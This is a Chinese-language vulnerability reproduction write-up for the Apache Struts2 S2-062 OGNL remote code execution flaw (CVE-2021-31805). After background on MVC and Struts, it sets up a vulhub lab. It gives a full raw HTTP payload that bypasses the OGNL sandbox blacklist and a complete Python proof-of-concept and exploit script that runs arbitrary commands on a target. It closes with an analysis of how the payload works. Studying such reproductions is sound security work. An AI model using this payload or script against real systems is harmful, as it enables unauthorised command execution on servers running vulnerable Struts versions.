CVE漏洞复现-CVE-2021-31805-struts2 s2-062 ONGL远程代码执行
CVE-2021-31805-struts2 s2-062 ONGL远程代码执行
Struts2介绍
什么是MVC(Model-View-Controller)?
MVC是模型(Model)、视图(View)、控制器(Controller)的简写,是一种软件设计规范,是将业务逻辑、数据、显示分离的方法来组织代码,MVC主要作用是降低了视图与业务逻辑间的双向偶合。MVC不是一种设计模式,MVC是一种架构模式。
- Model(模型):数据模型,提供要展示的数据,因此包含数据和行为,可以认为是领域模型或JavaBean组件(包含数据和行为),不过现在一般都分离开来:ValueObject(数据Dao) 和 服务层(行为Service)。也就是该模型提供了模型数据查询和模型数据的状态更新等功能,包括数据和业务。
- View(视图):负责进行模型的展示,一般就是我们见到的用户界面,客户想看到的东西。
- Controller(控制器):接收用户请求,委托给模型进行处理(状态改变),处理完毕后把返回的模型数据返回给视图,由视图负责展示。
MVC有多种:
最典型的MVC就是JSP+servlet+javabean 的模式,其实就是刚开始学javaweb用到的东西
没有MVC组件:
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
有MVC:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率
什么是Struts?
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
在Struts中,已经由一个名为ActionServlet的Servlet充当控制器(Controller)的角色,根据描述模型、视图、控制器对应关系的struts-config.xml的配置文件,转发视图(View)的请求,组装响应数据模型(Model)。在MVC的模型(Model)部分,经常划分为两个主要子系统(系统的内部数据状态与改变数据状态的逻辑动作),这两个概念子系统分别具体对应Struts里的ActionForm与Action两个需要继承实现超类。在这里,Struts可以与各种标准的数据访问技术结合在一起,包括Enterprise Java Beans(EJB),JDBC与JNDI。在Struts的视图(View)端,除了使用标准的JavaServer Pages(JSP)以外,还提供了大量的标签库使用,同时也可以与其他表现层组件技术(产品)进行整合,比如Velocity Templates,XSLT等。通过应用Struts的框架,最终用户可以把大部分的关注点放在自己的业务逻辑(Action)与 映射关系的配置文件(struts-config.xml)中。
2006年,WebWork与Struts的Java EEWeb框架的团体,决定合作共同开发一个新的,整合了WebWork与Struts优点,并且更加优雅、扩展性更强的框架,命名为“Struts 2”,原Struts的1.x版本产品称为“Struts 1”。Struts项目并行提供与维护两个主要版本的框架产品——Struts 1与Struts 2。
Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。
缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。
s2-062漏洞概况
关联漏洞:
CVE-2020-17530 (S2-061)
2022年4月13日 恶意OGNL表达式,远程代码执行:
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2021-31805
https://cwiki.apache.org/confluence/display/WW/S2-062
漏洞影响版本:
2.0.0 <= Apache Struts <= 2.5.29
Struts历史漏洞:
https://struts.apache.org/releases.html
https://www.cnblogs.com/qiantan/p/10695567.html
贡献:
s2-062漏洞复现
vulhub Docker构建靶场(这个大家应该都会,这里就不写了)
1、vlhub进入struts2的s2-061执行
docker-compose up -d
检查环境是否启动
docker-compose ps
2、浏览器输入http://IP:8080/index.action?id=123
然后我们右键查看源码,发现他会将我们id后构造的参数作为结果输出到页面上
3、我们继续构造以下URL,http://192.168.0.105:8080/index.action?id=%25{6*6}
然后我们右键查看源码,发现id的数变得不一样了,居然将我们构造输入的语句当作乘法表达式执行了
4、构造以下payload执行命令(这里要改为你自己的端口和主机号)
POST /index.action HTTP/1.1
Host: xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
发现这里会执行我们输入的语句
5、因为本次复现的是S2-62的漏洞,所以在这里使用S2-62的一个exp:
https://github.com/YanMu2020/s2-062
漏洞利用POC:
import requests
from lxml import etree
import argparse
def poc(url):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("发现漏洞")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("POC检测失败")
def EXP(url,cmd):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("命令回显")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("EXP检测失败")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='S2-062验证')
parser.add_argument('--url', help="要验证的URL")
parser.add_argument('--cmd',help="你想执行的命令",default="")
args = parser.parse_args()
if args.cmd !="":
EXP(args.url,args.cmd)
else:
poc(args.url)
执行语句,发现漏洞存在
python s2-062.py --url http://192.168.0.105:8080
执行语句,命令回显
python s2-062.py --url http://192.168.0.105:8080 --cmd whoami
执行语句,浏览当前目录
python s2-062.py --url http://192.168.0.105:8080 --cmd dir
漏洞原理分析
概述:
项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证, 可能导致远程代码执行
OGNL是什么?
Object-Graph Navigation Language(对象 图导航语言), 一种开源的 Java 表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能
OGNL和Struts2
参考《OGNL和Struts标签.pdf》,链接在下面
链接:https://pan.baidu.com/s/1AjzTFtHlXewIYLh2KQhKGw?pwd=6666
提取码:6666
OGNL是Struts默认支持的表达式语言,OGNL可以取值赋值、访问类的静态方法和属性,访问OGNL上下文。Struts的上下文根对象: ValueStack,%{}用来把字符串转换成表达式 %25就是URL编码的%。可以在struts.xml和struts标签等地方使用OGNL 表达式
payload的分析
POST /index.action HTTP/1.1
Host: xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
- InstanceManager:用于实例化任意对象
- BeanMap:可以调用对象的getter、setter, setBean()可以更新对象
- valueStack:ONGL的根对象
- memberAccess:控制对象的访问
- setExcludedPackageNames()
- setExcludedClasses()清除黑名单
- Execute类:黑名单类,exec可以执行Shell
总结:使用BeanMap绕过了Struts2的黑名单(沙盒机制),并实例化了可以执行代码的类